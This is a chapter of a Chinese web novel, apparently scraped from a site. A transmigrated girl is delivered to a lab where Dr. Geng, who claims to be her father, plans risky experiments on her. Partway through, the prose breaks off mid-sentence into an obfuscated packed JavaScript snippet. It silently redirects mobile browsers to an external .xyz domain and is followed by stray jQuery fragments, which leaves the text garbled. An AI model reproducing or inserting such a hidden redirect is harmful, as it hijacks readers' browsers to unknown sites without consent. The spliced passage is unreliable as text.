眼前一黑，天旋地转，再清晰时，视线内出现了一个年轻女人的漂亮的脸。


    视线好低。


    视线内还可以看见向上抬起的短小胳膊，她的身体变小了。


    原来主线剧情是童年线吗？


    “菁菁，想吃冰淇淋吗？”一道甜腻的声音响起，漂亮女人牵着自己的手，弯下腰来，凑到她眼前，指了指远处一家奶白色装修的店。


    马路上车的牌照是白底细蓝字，人行道上的牌子也全是英文，想来不在国内。


    “想！”稚嫩的声音响起，伴随着头腔震动。


    她还没有想开口！


    女人站起身，牵着她的手，往前走。


    她也开始往前。


    看着地板在身体下无知无觉地移动，这感觉实在诡异。文菁在脑海里呼唤：“系统，401，你在吗？”


    【系统；在的用户。】


    “为什么身体不受我的控制？这样要怎么完成任务？”


    【系统：前面部分剧情属于过渡阶段，只需要观看，不需要用户有所动作。需要用户进行任务时，身体会自动解除行动限制。】


    行吧。


    漂亮女人给她买了一支开心果味冰淇淋，还有一杯牛油果奶昔，然后牵着她的手走到人少的路边，停在这打电话。女人说的是英语，文菁可以听懂。


    “怎么还没来？”


    “就在菲利普斯公园前面这条街。”


    “怎么可能没有看到，我们就在路边啊。”


    女人一手举着手机打电话，脚上穿的薄底皮鞋不时在地上划拉一下，俨然一副很不耐的模样。


    不知道是不是因为这是系统加的任务的原因，女人用的手机并不是十几年前的款式，而是lg屏幕的智能手机。难道这个世界的科技水平并没有时间上的分别吗？


    一辆黑色的保姆车停在眼前的路边，左侧的车门打开，驾驶座上下来一个绿眼睛白人壮汉。


    “怎么这么慢？”牵她手的漂亮女人问绿眼睛男人。


    绿眼睛男人头发摸了发油，还算支棱，金色的胡须围着整张脸，略显邋遢。


    “对不起。”他低头道歉。得不到回复，又忍不住抬头去看女人的脸，啧的一声，从兜里掏出烟盒，拿出一支烟来。


    “你做什么？”女人扬手就拍掉他手里的烟，“莱奥，你看见我手里牵着的是什么了吗？”


    手里牵着的……文菁感觉她话里的意思，自己像宠物一样。


    莱奥用西语说了句脏话，然后又用英语开口对女人说：“上车吧。”


    坐上车，车门还没关，莱奥在驾驶座将门关上，车门又被女人拉开，莱奥忍不住回过头，语气有些不耐烦，“怎么不关车门？”


    女人像是根本没听到，侧过头跟她说话，语气极轻极温和：“菁菁，把冰淇淋丢出去好不好。”


    “可是我还没有吃完。”她听见声音从自己的喉咙里发出来。


    “我们不吃了，下次再吃好吗？”文菁看出女人有些不耐烦了，但对方还在极力忍耐。


    身体的掌控权就是这时到文菁手中的，她张张嘴，吐出一个字，“好。”


    小女孩舔了几口，只有皮外伤的冰淇淋被女人扔进了路边垃圾桶，车门关上，街景开始向后退，漂亮女人摸摸她的头，说，“把奶昔喝了。”


    “怎么突然要送一个新的过去？我听说另一个基地那边还被要求送了两个去？”女人踢了踢驾驶座的椅子，切换成英文，问莱奥。


    “这个我不能说。”


    “……”


    带着寒意的风在车窗上凝成一点点凸起的水汽，不太多，所以无法滑落，一副要下不下的无奈样子。湿漉漉的街道头顶铅灰色的天空，夜里或许下过小雨，沥青路面上有很多深浅不一的水痕。


    街景不停地向后退去，远处覆盖着皑皑白雪的山峦在云雾中若隐若现。顶峰的雪线清晰可见，腰脚却有些新绿冒头。不知道车开了多久，奶昔不太好喝，文菁一直拿在手里，此刻已经化成了水，腿上的长裙都被浸湿。


    一栋又一栋有着玻璃幕墙的摩天大楼消失不见，最后，连联栋排列的居民区也找不着了，车才终于七拐八拐地开进了一个有着好多颗染井吉野樱树的院子。


    满园樱吹雪，车子在楼前停下，漂亮女人抱她下车。


    “人到了。”女人在门前将她放下，对着墙上的监视器说。


    “这个叫什么名字？”没过多久，监视器背面传来一个男声。


    “菁。单字一个菁，草字头下面加青色的青。”女人此刻完全不像先前那般不耐烦，她直直地注视着监视器的镜头。


    “好，你可以走了。”


    走时，女人深深地看了文菁一眼，她竟然从女人的那一眼中读出了怜悯与不舍。


    文菁看着女人上了来时的那辆车，随后将奶昔扔进了门口的垃圾桶，黑色的保姆车越驶越远，直至消失在白色花海里，她眼前的门开了。


    “请将随身物品放到篮子里。”门的背后是一个如同高铁站飞机场那样的安检口。


    文菁没有随身物品，所以直接走到金属扫描门下去。


    “菁，跟随绿色指引线走。”


    屋子里没有人，除了这道在监视器里传来的男声，安静得诡异。话音刚落，地上立刻亮起绿色的指引线。简直就像某种游戏的新手引导。


    文菁沿着指引线走，弯弯绕绕，路上没有遇见一个人，屋子内的装修以及所有的装饰品都是白色，而墙壁又并非大白的刮漆，带着一种极细的纹理，伸手去摸，湿润的触感，不知道是什么材料。除此之外，一路上没有任何特别的，天花板的挑高特别高，跟大学里的阶梯教室似的，顶上却没有任何可见的灯盏，廊上连个花瓶也没有，如果没有指引线，在这栋楼里非常容易迷路。


    绿色的指引线尽头是一扇白色横向拉门。


    文菁站在门口，也许是房子里无处不有监视器，不等她犹疑，房门内里面传来一道低沉的男声：“请进。”


    她抬手扒拉，门开了一条缝，随后自动滑入墙中。


    门的背后有不大的一个房间，和这个楼里一样的装修和风格，摆放的家具都是白色：一张单人床，一个衣柜，一张不到一米宽的书桌和一把木椅。家具还都经过防磕碰的处理，房间中央站着一个穿黑色高领毛衣西装裤，外套了件白大褂的男人。


    “很开心见到你，我的女儿。”见面后，男人开口第


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343175|180971||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一句话。


    ？？？


    文菁这才抬头去看男人的相貌。


    银架无框眼镜背后是一双狭长的略显精明的狐狸眼，薄唇上翘，略带笑意。同时，她也注意到，男人身上的白大褂似乎不是棉质，非常硬挺，剪裁也有型，还带有奇异的反光。


    真的假的？文菁有点不敢相信，不过男人的脸确实跟她在镜子中看过的相貌很相似。


    男人走过来，文菁以为他要抱自己，忍不住后退一步，自称他父亲的男人仿佛看不见她的动作，自顾自走向前拉起她的手，“这是你的房间。”他介绍说。


    低头来看文菁，不知道他到底想得到怎样的回应，文菁点点头。


    那双狐狸眼眯起来，嘴上笑了一下，接着开口，“好了，我们先去一个地方。”


    又是要去一个地方。也不说去哪里。男人拉着她的手，但是男人实在是太高了，拉着她，就不得不弯下一些腰，走了没多远，男人就松开了她的手。


    “菁，跟着我。”他命令说。


    男人带着文菁做了一系列体检，也因此见到了很多人，他们用着德语交流，并且混合着很多高难度名词，文菁听不懂，他们的眼神也回避与文菁的接触，她也难以读出些什么。而这栋楼里，医疗设备齐全到像一个小型医院。


    “这个可以用。”体检完，一名拿报告输入电脑的医生对自称她父亲的男人说。


    “是吗？那就好。”男人边说边笑，摸了摸她的脸。


    文菁感觉很诡异。可以用？还，那就好？


    “给她的镇定剂选跟那个不听话的一样的味道吧。”男人对给她检查的医生说。


    “是。”


    “方案也用一套。”


    “这会不会不太好？还有很多没有尝试过的备选……”医生皱起眉来，看一眼报告又看一眼她身边站着的人。


    可在她身边的男人看了说话的人一眼后，医生霎时闭上嘴。


    “有什么不好的，不是还送了两个来吗？让他们去试新的，给她就用这个，这个是目前为止数据最好的。”他顿了顿，面色沉下来，“不是吗？”


    “但……”医生避开男人的目光，不改自己的想法，“耿博士，这风险太高了，况且她才六岁，这套方案至少需要八岁，不然会很痛苦的。”


    “所以呢？她如果能坚持下来，说不定会比上一个数据更好。”耿姓男子不愿再与眼前人做纠缠，“好了，到此为止。”


    “菁，走了。”


    文菁看了眼欲言又止的医生，转回头，跟上去。


    走廊长得仿佛没有尽头，两侧是无数扇一模一样的白色房门，空气循环系统送出的风恒温带湿，可却带着消毒水的味道，还混合着一股怪异的甜腻感。飘进呼吸道，刺得她头脑发昏。


    想叫住耿博士，问点什么，但爸爸两个字在口里打转，却因太过陌生而难以吐出。


    文菁拉住耿博士的白大褂，问：“我真的是你的女儿吗？”


    男人笑得那双精明的狐狸眼眯起，没走，停住脚又蹲下身，轻柔地摸摸她的头。注视着她，一句瘆人的话不管不顾地泄漏出来，“对啊。你是我参与配种计划的产物，希望你能好好使用我的基因。”